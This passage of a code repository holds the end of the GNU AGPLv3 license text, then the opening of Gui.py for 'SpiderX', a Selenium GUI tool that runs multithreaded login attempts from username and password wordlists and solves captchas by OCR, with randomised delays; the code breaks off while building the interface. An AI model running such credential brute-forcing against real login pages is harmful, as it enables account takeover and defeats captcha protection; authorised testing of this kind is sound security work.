102 | The "source code" for a work means the preferred form of the work
103 | for making modifications to it. "Object code" means any non-source
104 | form of a work.
105 |
106 | A "Standard Interface" means an interface that either is an official
107 | standard defined by a recognized standards body, or, in the case of
108 | interfaces specified for a particular programming language, one that
109 | is widely used among developers working in that language.
110 |
111 | The "System Libraries" of an executable work include anything, other
112 | than the work as a whole, that (a) is included in the normal form of
113 | packaging a Major Component, but which is not part of that Major
114 | Component, and (b) serves only to enable use of the work with that
115 | Major Component, or to implement a Standard Interface for which an
116 | implementation is available to the public in source code form. A
117 | "Major Component", in this context, means a major essential component
118 | (kernel, window system, and so on) of the specific operating system
119 | (if any) on which the executable work runs, or a compiler used to
120 | produce the work, or an object code interpreter used to run it.
121 |
122 | The "Corresponding Source" for a work in object code form means all
123 | the source code needed to generate, install, and (for an executable
124 | work) run the object code and to modify the work, including scripts to
125 | control those activities. However, it does not include the work's
126 | System Libraries, or general-purpose tools or generally available free
127 | programs which are used unmodified in performing those activities but
128 | which are not part of the work. For example, Corresponding Source
129 | includes interface definition files associated with source files for
130 | the work, and the source code for shared libraries and dynamically
131 | linked subprograms that the work is specifically designed to require,
132 | such as by intimate data communication or control flow between those
133 | subprograms and other parts of the work.
134 |
135 | The Corresponding Source need not include anything that users
136 | can regenerate automatically from other parts of the Corresponding
137 | Source.
138 |
139 | The Corresponding Source for a work in source code form is that
140 | same work.
141 |
142 | 2. Basic Permissions.
143 |
144 | All rights granted under this License are granted for the term of
145 | copyright on the Program, and are irrevocable provided the stated
146 | conditions are met. This License explicitly affirms your unlimited
147 | permission to run the unmodified Program. The output from running a
148 | covered work is covered by this License only if the output, given its
149 | content, constitutes a covered work. This License acknowledges your
150 | rights of fair use or other equivalent, as provided by copyright law.
151 |
152 | You may make, run and propagate covered works that you do not
153 | convey, without conditions so long as your license otherwise remains
154 | in force. You may convey covered works to others for the sole purpose
155 | of having them make modifications exclusively for you, or provide you
156 | with facilities for running those works, provided that you comply with
157 | the terms of this License in conveying all material for which you do
158 | not control copyright. Those thus making or running the covered works
159 | for you must do so exclusively on your behalf, under your direction
160 | and control, on terms that prohibit them from making any copies of
161 | your copyrighted material outside their relationship with you.
162 |
163 | Conveying under any other circumstances is permitted solely under
164 | the conditions stated below. Sublicensing is not allowed; section 10
165 | makes it unnecessary.
166 |
167 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law.
168 |
169 | No covered work shall be deemed part of an effective technological
170 | measure under any applicable law fulfilling obligations under article
171 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or
172 | similar laws prohibiting or restricting circumvention of such
173 | measures.
174 |
175 | When you convey a covered work, you waive any legal power to forbid
176 | circumvention of technological measures to the extent such circumvention
177 | is effected by exercising rights under this License with respect to
178 | the covered work, and you disclaim any intention to limit operation or
179 | modification of the work as a means of enforcing, against the work's
180 | users, your or third parties' legal rights to forbid circumvention of
181 | technological measures.
182 |
183 | 4. Conveying Verbatim Copies.
184 |
185 | You may convey verbatim copies of the Program's source code as you
186 | receive it, in any medium, provided that you conspicuously and
187 | appropriately publish on each copy an appropriate copyright notice;
188 | keep intact all notices stating that this License and any
189 | non-permissive terms added in accord with section 7 apply to the code;
190 | keep intact all notices of the absence of any warranty; and give all
191 | recipients a copy of this License along with the Program.
192 |
193 | You may charge any price or no price for each copy that you convey,
194 | and you may offer support or warranty protection for a fee.
195 |
196 | 5. Conveying Modified Source Versions.
197 |
198 | You may convey a work based on the Program, or the modifications to
199 | produce it from the Program, in the form of source code under the
200 | terms of section 4, provided that you also meet all of these conditions:
201 |
202 | a) The work must carry prominent notices stating that you modified
203 | it, and giving a relevant date.
204 |
205 | b) The work must carry prominent notices stating that it is
206 | released under this License and any conditions added under section
207 | 7. This requirement modifies the requirement in section 4 to
208 | "keep intact all notices".
209 |
210 | c) You must license the entire work, as a whole, under this
211 | License to anyone who comes into possession of a copy. This
212 | License will therefore apply, along with any applicable section 7
213 | additional terms, to the whole of the work, and all its parts,
214 | regardless of how they are packaged. This License gives no
215 | permission to license the work in any other way, but it does not
216 | invalidate such permission if you have separately received it.
217 |
218 | d) If the work has interactive user interfaces, each must display
219 | Appropriate Legal Notices; however, if the Program has interactive
220 | interfaces that do not display Appropriate Legal Notices, your
221 | work need not make them do so.
222 |
223 | A compilation of a covered work with other separate and independent
224 | works, which are not by their nature extensions of the covered work,
225 | and which are not combined with it such as to form a larger program,
226 | in or on a volume of a storage or distribution medium, is called an
227 | "aggregate" if the compilation and its resulting copyright are not
228 | used to limit the access or legal rights of the compilation's users
229 | beyond what the individual works permit. Inclusion of a covered work
230 | in an aggregate does not cause this License to apply to the other
231 | parts of the aggregate.
232 |
233 | 6. Conveying Non-Source Forms.
234 |
235 | You may convey a covered work in object code form under the terms
236 | of sections 4 and 5, provided that you also convey the
237 | machine-readable Corresponding Source under the terms of this License,
238 | in one of these ways:
239 |
240 | a) Convey the object code in, or embodied in, a physical product
241 | (including a physical distribution medium), accompanied by the
242 | Corresponding Source fixed on a durable physical medium
243 | customarily used for software interchange.
244 |
245 | b) Convey the object code in, or embodied in, a physical product
246 | (including a physical distribution medium), accompanied by a
247 | written offer, valid for at least three years and valid for as
248 | long as you offer spare parts or customer support for that product
249 | model, to give anyone who possesses the object code either (1) a
250 | copy of the Corresponding Source for all the software in the
251 | product that is covered by this License, on a durable physical
252 | medium customarily used for software interchange, for a price no
253 | more than your reasonable cost of physically performing this
254 | conveying of source, or (2) access to copy the
255 | Corresponding Source from a network server at no charge.
256 |
257 | c) Convey individual copies of the object code with a copy of the
258 | written offer to provide the Corresponding Source. This
259 | alternative is allowed only occasionally and noncommercially, and
260 | only if you received the object code with such an offer, in accord
261 | with subsection 6b.
262 |
263 | d) Convey the object code by offering access from a designated
264 | place (gratis or for a charge), and offer equivalent access to the
265 | Corresponding Source in the same way through the same place at no
266 | further charge. You need not require recipients to copy the
267 | Corresponding Source along with the object code. If the place to
268 | copy the object code is a network server, the Corresponding Source
269 | may be on a different server (operated by you or a third party)
270 | that supports equivalent copying facilities, provided you maintain
271 | clear directions next to the object code saying where to find the
272 | Corresponding Source. Regardless of what server hosts the
273 | Corresponding Source, you remain obligated to ensure that it is
274 | available for as long as needed to satisfy these requirements.
275 |
276 | e) Convey the object code using peer-to-peer transmission, provided
277 | you inform other peers where the object code and Corresponding
278 | Source of the work are being offered to the general public at no
279 | charge under subsection 6d.
280 |
281 | A separable portion of the object code, whose source code is excluded
282 | from the Corresponding Source as a System Library, need not be
283 | included in conveying the object code work.
284 |
285 | A "User Product" is either (1) a "consumer product", which means any
286 | tangible personal property which is normally used for personal, family,
287 | or household purposes, or (2) anything designed or sold for incorporation
288 | into a dwelling. In determining whether a product is a consumer product,
289 | doubtful cases shall be resolved in favor of coverage. For a particular
290 | product received by a particular user, "normally used" refers to a
291 | typical or common use of that class of product, regardless of the status
292 | of the particular user or of the way in which the particular user
293 | actually uses, or expects or is expected to use, the product. A product
294 | is a consumer product regardless of whether the product has substantial
295 | commercial, industrial or non-consumer uses, unless such uses represent
296 | the only significant mode of use of the product.
297 |
298 | "Installation Information" for a User Product means any methods,
299 | procedures, authorization keys, or other information required to install
300 | and execute modified versions of a covered work in that User Product from
301 | a modified version of its Corresponding Source. The information must
302 | suffice to ensure that the continued functioning of the modified object
303 | code is in no case prevented or interfered with solely because
304 | modification has been made.
305 |
306 | If you convey an object code work under this section in, or with, or
307 | specifically for use in, a User Product, and the conveying occurs as
308 | part of a transaction in which the right of possession and use of the
309 | User Product is transferred to the recipient in perpetuity or for a
310 | fixed term (regardless of how the transaction is characterized), the
311 | Corresponding Source conveyed under this section must be accompanied
312 | by the Installation Information. But this requirement does not apply
313 | if neither you nor any third party retains the ability to install
314 | modified object code on the User Product (for example, the work has
315 | been installed in ROM).
316 |
317 | The requirement to provide Installation Information does not include a
318 | requirement to continue to provide support service, warranty, or updates
319 | for a work that has been modified or installed by the recipient, or for
320 | the User Product in which it has been modified or installed. Access to a
321 | network may be denied when the modification itself materially and
322 | adversely affects the operation of the network or violates the rules and
323 | protocols for communication across the network.
324 |
325 | Corresponding Source conveyed, and Installation Information provided,
326 | in accord with this section must be in a format that is publicly
327 | documented (and with an implementation available to the public in
328 | source code form), and must require no special password or key for
329 | unpacking, reading or copying.
330 |
331 | 7. Additional Terms.
332 |
333 | "Additional permissions" are terms that supplement the terms of this
334 | License by making exceptions from one or more of its conditions.
335 | Additional permissions that are applicable to the entire Program shall
336 | be treated as though they were included in this License, to the extent
337 | that they are valid under applicable law. If additional permissions
338 | apply only to part of the Program, that part may be used separately
339 | under those permissions, but the entire Program remains governed by
340 | this License without regard to the additional permissions.
341 |
342 | When you convey a copy of a covered work, you may at your option
343 | remove any additional permissions from that copy, or from any part of
344 | it. (Additional permissions may be written to require their own
345 | removal in certain cases when you modify the work.) You may place
346 | additional permissions on material, added by you to a covered work,
347 | for which you have or can give appropriate copyright permission.
348 |
349 | Notwithstanding any other provision of this License, for material you
350 | add to a covered work, you may (if authorized by the copyright holders of
351 | that material) supplement the terms of this License with terms:
352 |
353 | a) Disclaiming warranty or limiting liability differently from the
354 | terms of sections 15 and 16 of this License; or
355 |
356 | b) Requiring preservation of specified reasonable legal notices or
357 | author attributions in that material or in the Appropriate Legal
358 | Notices displayed by works containing it; or
359 |
360 | c) Prohibiting misrepresentation of the origin of that material, or
361 | requiring that modified versions of such material be marked in
362 | reasonable ways as different from the original version; or
363 |
364 | d) Limiting the use for publicity purposes of names of licensors or
365 | authors of the material; or
366 |
367 | e) Declining to grant rights under trademark law for use of some
368 | trade names, trademarks, or service marks; or
369 |
370 | f) Requiring indemnification of licensors and authors of that
371 | material by anyone who conveys the material (or modified versions of
372 | it) with contractual assumptions of liability to the recipient, for
373 | any liability that these contractual assumptions directly impose on
374 | those licensors and authors.
375 |
376 | All other non-permissive additional terms are considered "further
377 | restrictions" within the meaning of section 10. If the Program as you
378 | received it, or any part of it, contains a notice stating that it is
379 | governed by this License along with a term that is a further
380 | restriction, you may remove that term. If a license document contains
381 | a further restriction but permits relicensing or conveying under this
382 | License, you may add to a covered work material governed by the terms
383 | of that license document, provided that the further restriction does
384 | not survive such relicensing or conveying.
385 |
386 | If you add terms to a covered work in accord with this section, you
387 | must place, in the relevant source files, a statement of the
388 | additional terms that apply to those files, or a notice indicating
389 | where to find the applicable terms.
390 |
391 | Additional terms, permissive or non-permissive, may be stated in the
392 | form of a separately written license, or stated as exceptions;
393 | the above requirements apply either way.
394 |
395 | 8. Termination.
396 |
397 | You may not propagate or modify a covered work except as expressly
398 | provided under this License. Any attempt otherwise to propagate or
399 | modify it is void, and will automatically terminate your rights under
400 | this License (including any patent licenses granted under the third
401 | paragraph of section 11).
402 |
403 | However, if you cease all violation of this License, then your
404 | license from a particular copyright holder is reinstated (a)
405 | provisionally, unless and until the copyright holder explicitly and
406 | finally terminates your license, and (b) permanently, if the copyright
407 | holder fails to notify you of the violation by some reasonable means
408 | prior to 60 days after the cessation.
409 |
410 | Moreover, your license from a particular copyright holder is
411 | reinstated permanently if the copyright holder notifies you of the
412 | violation by some reasonable means, this is the first time you have
413 | received notice of violation of this License (for any work) from that
414 | copyright holder, and you cure the violation prior to 30 days after
415 | your receipt of the notice.
416 |
417 | Termination of your rights under this section does not terminate the
418 | licenses of parties who have received copies or rights from you under
419 | this License. If your rights have been terminated and not permanently
420 | reinstated, you do not qualify to receive new licenses for the same
421 | material under section 10.
422 |
423 | 9. Acceptance Not Required for Having Copies.
424 |
425 | You are not required to accept this License in order to receive or
426 | run a copy of the Program. Ancillary propagation of a covered work
427 | occurring solely as a consequence of using peer-to-peer transmission
428 | to receive a copy likewise does not require acceptance. However,
429 | nothing other than this License grants you permission to propagate or
430 | modify any covered work. These actions infringe copyright if you do
431 | not accept this License. Therefore, by modifying or propagating a
432 | covered work, you indicate your acceptance of this License to do so.
433 |
434 | 10. Automatic Licensing of Downstream Recipients.
435 |
436 | Each time you convey a covered work, the recipient automatically
437 | receives a license from the original licensors, to run, modify and
438 | propagate that work, subject to this License. You are not responsible
439 | for enforcing compliance by third parties with this License.
440 |
441 | An "entity transaction" is a transaction transferring control of an
442 | organization, or substantially all assets of one, or subdividing an
443 | organization, or merging organizations. If propagation of a covered
444 | work results from an entity transaction, each party to that
445 | transaction who receives a copy of the work also receives whatever
446 | licenses to the work the party's predecessor in interest had or could
447 | give under the previous paragraph, plus a right to possession of the
448 | Corresponding Source of the work from the predecessor in interest, if
449 | the predecessor has it or can get it with reasonable efforts.
450 |
451 | You may not impose any further restrictions on the exercise of the
452 | rights granted or affirmed under this License. For example, you may
453 | not impose a license fee, royalty, or other charge for exercise of
454 | rights granted under this License, and you may not initiate litigation
455 | (including a cross-claim or counterclaim in a lawsuit) alleging that
456 | any patent claim is infringed by making, using, selling, offering for
457 | sale, or importing the Program or any portion of it.
458 |
459 | 11. Patents.
460 |
461 | A "contributor" is a copyright holder who authorizes use under this
462 | License of the Program or a work on which the Program is based. The
463 | work thus licensed is called the contributor's "contributor version".
464 |
465 | A contributor's "essential patent claims" are all patent claims
466 | owned or controlled by the contributor, whether already acquired or
467 | hereafter acquired, that would be infringed by some manner, permitted
468 | by this License, of making, using, or selling its contributor version,
469 | but do not include claims that would be infringed only as a
470 | consequence of further modification of the contributor version. For
471 | purposes of this definition, "control" includes the right to grant
472 | patent sublicenses in a manner consistent with the requirements of
473 | this License.
474 |
475 | Each contributor grants you a non-exclusive, worldwide, royalty-free
476 | patent license under the contributor's essential patent claims, to
477 | make, use, sell, offer for sale, import and otherwise run, modify and
478 | propagate the contents of its contributor version.
479 |
480 | In the following three paragraphs, a "patent license" is any express
481 | agreement or commitment, however denominated, not to enforce a patent
482 | (such as an express permission to practice a patent or covenant not to
483 | sue for patent infringement). To "grant" such a patent license to a
484 | party means to make such an agreement or commitment not to enforce a
485 | patent against the party.
486 |
487 | If you convey a covered work, knowingly relying on a patent license,
488 | and the Corresponding Source of the work is not available for anyone
489 | to copy, free of charge and under the terms of this License, through a
490 | publicly available network server or other readily accessible means,
491 | then you must either (1) cause the Corresponding Source to be so
492 | available, or (2) arrange to deprive yourself of the benefit of the
493 | patent license for this particular work, or (3) arrange, in a manner
494 | consistent with the requirements of this License, to extend the patent
495 | license to downstream recipients. "Knowingly relying" means you have
496 | actual knowledge that, but for the patent license, your conveying the
497 | covered work in a country, or your recipient's use of the covered work
498 | in a country, would infringe one or more identifiable patents in that
499 | country that you have reason to believe are valid.
500 |
501 | If, pursuant to or in connection with a single transaction or
502 | arrangement, you convey, or propagate by procuring conveyance of, a
503 | covered work, and grant a patent license to some of the parties
504 | receiving the covered work authorizing them to use, propagate, modify
505 | or convey a specific copy of the covered work, then the patent license
506 | you grant is automatically extended to all recipients of the covered
507 | work and works based on it.
508 |
509 | A patent license is "discriminatory" if it does not include within
510 | the scope of its coverage, prohibits the exercise of, or is
511 | conditioned on the non-exercise of one or more of the rights that are
512 | specifically granted under this License. You may not convey a covered
513 | work if you are a party to an arrangement with a third party that is
514 | in the business of distributing software, under which you make payment
515 | to the third party based on the extent of your activity of conveying
516 | the work, and under which the third party grants, to any of the
517 | parties who would receive the covered work from you, a discriminatory
518 | patent license (a) in connection with copies of the covered work
519 | conveyed by you (or copies made from those copies), or (b) primarily
520 | for and in connection with specific products or compilations that
521 | contain the covered work, unless you entered into that arrangement,
522 | or that patent license was granted, prior to 28 March 2007.
523 |
524 | Nothing in this License shall be construed as excluding or limiting
525 | any implied license or other defenses to infringement that may
526 | otherwise be available to you under applicable patent law.
527 |
528 | 12. No Surrender of Others' Freedom.
529 |
530 | If conditions are imposed on you (whether by court order, agreement or
531 | otherwise) that contradict the conditions of this License, they do not
532 | excuse you from the conditions of this License. If you cannot convey a
533 | covered work so as to satisfy simultaneously your obligations under this
534 | License and any other pertinent obligations, then as a consequence you may
535 | not convey it at all. For example, if you agree to terms that obligate you
536 | to collect a royalty for further conveying from those to whom you convey
537 | the Program, the only way you could satisfy both those terms and this
538 | License would be to refrain entirely from conveying the Program.
539 |
540 | 13. Remote Network Interaction; Use with the GNU General Public License.
541 |
542 | Notwithstanding any other provision of this License, if you modify the
543 | Program, your modified version must prominently offer all users
544 | interacting with it remotely through a computer network (if your version
545 | supports such interaction) an opportunity to receive the Corresponding
546 | Source of your version by providing access to the Corresponding Source
547 | from a network server at no charge, through some standard or customary
548 | means of facilitating copying of software. This Corresponding Source
549 | shall include the Corresponding Source for any work covered by version 3
550 | of the GNU General Public License that is incorporated pursuant to the
551 | following paragraph.
552 |
553 | Notwithstanding any other provision of this License, you have
554 | permission to link or combine any covered work with a work licensed
555 | under version 3 of the GNU General Public License into a single
556 | combined work, and to convey the resulting work. The terms of this
557 | License will continue to apply to the part which is the covered work,
558 | but the work with which it is combined will remain governed by version
559 | 3 of the GNU General Public License.
560 |
561 | 14. Revised Versions of this License.
562 |
563 | The Free Software Foundation may publish revised and/or new versions of
564 | the GNU Affero General Public License from time to time. Such new versions
565 | will be similar in spirit to the present version, but may differ in detail to
566 | address new problems or concerns.
567 |
568 | Each version is given a distinguishing version number. If the
569 | Program specifies that a certain numbered version of the GNU Affero General
570 | Public License "or any later version" applies to it, you have the
571 | option of following the terms and conditions either of that numbered
572 | version or of any later version published by the Free Software
573 | Foundation. If the Program does not specify a version number of the
574 | GNU Affero General Public License, you may choose any version ever published
575 | by the Free Software Foundation.
576 |
577 | If the Program specifies that a proxy can decide which future
578 | versions of the GNU Affero General Public License can be used, that proxy's
579 | public statement of acceptance of a version permanently authorizes you
580 | to choose that version for the Program.
581 |
582 | Later license versions may give you additional or different
583 | permissions. However, no additional obligations are imposed on any
584 | author or copyright holder as a result of your choosing to follow a
585 | later version.
586 |
587 | 15. Disclaimer of Warranty.
588 |
589 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
590 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
591 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
592 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
593 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
594 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
595 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
596 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
597 |
598 | 16. Limitation of Liability.
599 |
600 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
601 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
602 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
603 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
604 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
605 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
606 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
607 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
608 | SUCH DAMAGES.
609 |
610 | 17. Interpretation of Sections 15 and 16.
611 |
612 | If the disclaimer of warranty and limitation of liability provided
613 | above cannot be given local legal effect according to their terms,
614 | reviewing courts shall apply local law that most closely approximates
615 | an absolute waiver of all civil liability in connection with the
616 | Program, unless a warranty or assumption of liability accompanies a
617 | copy of the Program in return for a fee.
618 |
619 | END OF TERMS AND CONDITIONS
620 |
621 | How to Apply These Terms to Your New Programs
622 |
623 | If you develop a new program, and you want it to be of the greatest
624 | possible use to the public, the best way to achieve this is to make it
625 | free software which everyone can redistribute and change under these terms.
626 |
627 | To do so, attach the following notices to the program. It is safest
628 | to attach them to the start of each source file to most effectively
629 | state the exclusion of warranty; and each file should have at least
630 | the "copyright" line and a pointer to where the full notice is found.
631 |
632 |
633 | Copyright (C)
634 |
635 | This program is free software: you can redistribute it and/or modify
636 | it under the terms of the GNU Affero General Public License as published
637 | by the Free Software Foundation, either version 3 of the License, or
638 | (at your option) any later version.
639 |
640 | This program is distributed in the hope that it will be useful,
641 | but WITHOUT ANY WARRANTY; without even the implied warranty of
642 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
643 | GNU Affero General Public License for more details.
644 |
645 | You should have received a copy of the GNU Affero General Public License
646 | along with this program. If not, see .
647 |
648 | Also add information on how to contact you by electronic and paper mail.
649 |
650 | If your software can interact with users remotely through a computer
651 | network, you should also make sure that it provides a way for users to
652 | get its source. For example, if your program is a web application, its
653 | interface could display a "Source" link that leads users to an archive
654 | of the code. There are many ways you could offer source, and different
655 | solutions will be better for different programs; see section 13 for the
656 | specific requirements.
657 |
658 | You should also get your employer (if you work as a programmer) or school,
659 | if any, to sign a "copyright disclaimer" for the program, if necessary.
660 | For more information on this, and how to apply and follow the GNU AGPL, see
661 | .
662 |
--------------------------------------------------------------------------------
/Gui.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | """
3 | @Toolsname: SpiderX
4 | @Author : LiChaser
5 | @Time : 2025-01-30
6 | @Version : 2.0
7 | @Description:
8 | - 这是一个基于 Selenium 的自动化脚本。
9 | - 功能包括:登录、验证码识别、数据抓取等。
10 | - 使用了 ddddocr 进行验证码识别。
11 | """
12 | import concurrent.futures
13 | import logging
14 | import os
15 | import threading
16 | import tkinter as tk
17 | import time
18 | import sys
19 | import customtkinter as ctk
20 | from selenium import webdriver
21 | from selenium.common import NoSuchElementException, TimeoutException, WebDriverException
22 | from selenium.webdriver.common.by import By
23 | from selenium.webdriver.support.wait import WebDriverWait
24 | from selenium.webdriver.support import expected_conditions as EC
25 | import ddddocr
26 | import requests
27 | import base64
28 | from io import BytesIO
29 | from PIL import Image
30 | import random
31 |
32 | # 配置界面主题和图标
33 | ctk.set_appearance_mode("Dark")
34 | ctk.set_default_color_theme("blue")
35 |
36 | # 在文件开头添加计数器类
37 | class ThreadSafeCounter:
38 | def __init__(self):
39 | self._value = 0
40 | self._lock = threading.Lock()
41 |
42 | def increment(self):
43 | with self._lock:
44 | self._value += 1
45 | return self._value
46 |
47 | def get_value(self):
48 | with self._lock:
49 | return self._value
50 |
51 | def reset(self):
52 | with self._lock:
53 | self._value = 0
54 |
55 | # 修改全局变量声明
56 | numbers = ThreadSafeCounter()
57 | PWD = ''
58 | USER = ''
59 | usernames = []
60 | passwords = []
61 |
62 | # 在 DEFAULT_CONFIG 中添加验证码相关配置
63 | DEFAULT_CONFIG = {
64 | "url": "http://127.0.0.1:5000/",
65 | "name_xpath": '//*[@id="username"]',
66 | "pass_xpath": '//*[@id="password"]',
67 | "btn_xpath": '/html/body/form/div[4]/button',
68 | "success_xpath": '//*[contains(text(),"欢迎")]', # 新增成功检测元素
69 | "user_file": "username.txt",
70 | "pass_file": "password.txt",
71 | "threads": 10, # 根据CPU核心数优化
72 | "headless": True,
73 | "timeout": 5, # 延长超时时间
74 | "max_retries": 3, # 最大重试次数
75 | "min_delay": 0.5, # 最小延迟(秒)
76 | "max_delay": 1.5, # 最大延迟(秒)
77 | "captcha_xpath": '/html/body/form/div[3]/img', # 验证码图片元素
78 | "captcha_input_xpath": '//*[@id="captcha"]', # 验证码输入框
79 | "captcha_refresh_xpath": '/html/body/form/div[3]/img', # 验证码刷新按钮(如果有)
80 | "has_captcha": True, # 是否启用验证码识别
81 | "captcha_retry_limit": 3, # 验证码识别重试次数
82 | "captcha_timeout": 1, # 验证码加载超时时间
83 | }
84 |
85 | class CaptchaHandler:
86 | def __init__(self):
87 | self.ocr = ddddocr.DdddOcr(show_ad=False)
88 | self.retry_count = 0
89 | self.last_captcha = None
90 | self._lock = threading.Lock()
91 |
92 | def recognize_captcha(self, image_data):
93 | """识别验证码"""
94 | with self._lock:
95 | try:
96 | # 确保图片数据是字节格式
97 | if isinstance(image_data, str):
98 | if image_data.startswith('data:image'):
99 | image_data = base64.b64decode(image_data.split(',')[1])
100 | else:
101 | # 假设是base64字符串
102 | try:
103 | image_data = base64.b64decode(image_data)
104 | except:
105 | raise Exception("Invalid image data format")
106 |
107 | # 使用PIL处理图片
108 | image = Image.open(BytesIO(image_data))
109 |
110 | # 转换为RGB模式(如果需要)
111 | if image.mode != 'RGB':
112 | image = image.convert('RGB')
113 |
114 | # 调整图片大小(如果需要)
115 | # image = image.resize((100, 30), Image.LANCZOS)
116 |
117 | # 转回字节流
118 | buffered = BytesIO()
119 | image.save(buffered, format="PNG")
120 | image_bytes = buffered.getvalue()
121 |
122 | # 识别验证码
123 | result = self.ocr.classification(image_bytes)
124 |
125 | # 清理结果
126 | result = result.strip()
127 | if not result:
128 | raise Exception("OCR result is empty")
129 |
130 | self.last_captcha = result
131 | return result
132 | except Exception as e:
133 | logging.error(f"验证码识别失败: {str(e)}")
134 | return None
135 |
136 | def verify_captcha(self, driver, captcha_code):
137 | """验证验证码是否正确"""
138 | try:
139 | # 这里添加验证码验证逻辑
140 | # 可以根据实际情况判断验证码是否正确
141 | return True
142 | except Exception as e:
143 | logging.error(f"验证码验证失败: {str(e)}")
144 | return False
145 |
146 | class LoginGUI(ctk.CTk):
147 | def __init__(self):
148 | try:
149 | super().__init__()
150 | self.title("Licharsec - SpiderX Pro v2.0")
151 | self.geometry("1200x800")
152 | self._create_widgets()
153 | self._load_default_files()
154 | self.running = False
155 | self.executor = None
156 | self.captcha_handler = CaptchaHandler()
157 |
158 | # 添加全局异常处理
159 | self.protocol("WM_DELETE_WINDOW", self.on_closing)
160 |
161 | # 添加错误统计计数器
162 | self.error_counter = {
163 | 'network_errors': 0, # 网络错误
164 | 'xpath_errors': 0, # 元素定位错误
165 | 'captcha_errors': 0, # 验证码错误
166 | 'browser_errors': 0, # 浏览器错误
167 | 'other_errors': 0 # 其他错误
168 | }
169 |
170 | # 添加日志记录器
171 | self.setup_logger()
172 |
173 | except Exception as e:
174 | self.show_error_dialog(
175 | "❌ 程序错误",
176 | "程序初始化失败",
177 | f"错误信息:{str(e)}"
178 | )
179 | sys.exit(1)
180 |
181 | def _create_widgets(self):
182 | # 主界面布局配置
183 | self.grid_rowconfigure(0, weight=1)
184 | self.grid_columnconfigure(1, weight=1)
185 |
186 | # ========== 左侧配置面板 ==========
187 | self.config_frame = ctk.CTkFrame(self, width=320, corner_radius=10)
188 | self.config_frame.grid(row=0, column=0, padx=10, pady=10, sticky="nswe")
189 | self.config_frame.grid_propagate(False)
190 | self.config_frame.grid_columnconfigure(0, weight=1)
191 |
192 | # 配置项控件初始化
193 | self.url_entry = ctk.CTkEntry(self.config_frame)
194 | self.name_xpath_entry = ctk.CTkEntry(self.config_frame)
195 | self.pass_xpath_entry = ctk.CTkEntry(self.config_frame)
196 | self.btn_xpath_entry = ctk.CTkEntry(self.config_frame)
197 |
198 | # 动态创建配置项
199 | config_items = [
200 | ("目标URL:", self.url_entry, DEFAULT_CONFIG["url"]),
201 | ("用户名XPath:", self.name_xpath_entry, DEFAULT_CONFIG["name_xpath"]),
202 | ("密码XPath:", self.pass_xpath_entry, DEFAULT_CONFIG["pass_xpath"]),
203 | ("按钮XPath:", self.btn_xpath_entry, DEFAULT_CONFIG["btn_xpath"])
204 | ]
205 |
206 | current_row = 0
207 | for label_text, entry_widget, default_value in config_items:
208 | ctk.CTkLabel(
209 | self.config_frame,
210 | text=label_text,
211 | font=("Helvetica", 23),
212 | anchor="w"
213 | ).grid(row=current_row, column=0, padx=10, pady=(10, 0), sticky="we")
214 |
215 | entry_widget.delete(0, "end")
216 | entry_widget.insert(0, default_value)
217 | entry_widget.grid(row=current_row + 1, column=0, padx=10, pady=(0, 10), sticky="we")
218 |
219 | current_row += 2
220 |
221 | # 修改验证码配置区域
222 | self.captcha_frame = ctk.CTkFrame(self.config_frame)
223 | self.captcha_frame.grid(row=current_row, column=0, pady=10, padx=10, sticky="we")
224 | self.captcha_frame.grid_columnconfigure(0, weight=1)
225 |
226 | # 验证码标题
227 | ctk.CTkLabel(
228 | self.captcha_frame,
229 | text="验证码配置",
230 | font=("Helvetica", 23),
231 | anchor="w"
232 | ).grid(row=0, column=0, padx=10, pady=(10, 0), sticky="w")
233 |
234 | # 验证码选项子框架
235 | captcha_options = ctk.CTkFrame(self.captcha_frame, fg_color="transparent")
236 | captcha_options.grid(row=1, column=0, padx=10, pady=10, sticky="we")
237 | captcha_options.grid_columnconfigure(0, weight=1)
238 |
239 | # 启用验证码复选框
240 | self.captcha_enabled = ctk.CTkCheckBox(
241 | captcha_options,
242 | text="启用验证码识别",
243 | command=self.toggle_captcha,
244 | variable=ctk.BooleanVar(value=DEFAULT_CONFIG["has_captcha"]),
245 | font=("Helvetica", 16)
246 | )
247 | self.captcha_enabled.grid(row=0, column=0, padx=5, pady=5, sticky="w")
248 |
249 | # 验证码XPath输入框
250 | ctk.CTkLabel(
251 | captcha_options,
252 | text="验证码图片XPath:",
253 | font=("Helvetica", 16),
254 | anchor="w"
255 | ).grid(row=1, column=0, padx=5, pady=(10, 0), sticky="w")
256 |
257 | self.captcha_xpath_entry = ctk.CTkEntry(captcha_options)
258 | self.captcha_xpath_entry.grid(row=2, column=0, padx=5, pady=(0, 5), sticky="we")
259 | self.captcha_xpath_entry.insert(0, DEFAULT_CONFIG["captcha_xpath"])
260 |
261 | # 验证码输入框XPath
262 | ctk.CTkLabel(
263 | captcha_options,
264 | text="验证码输入框XPath:",
265 | font=("Helvetica", 16),
266 | anchor="w"
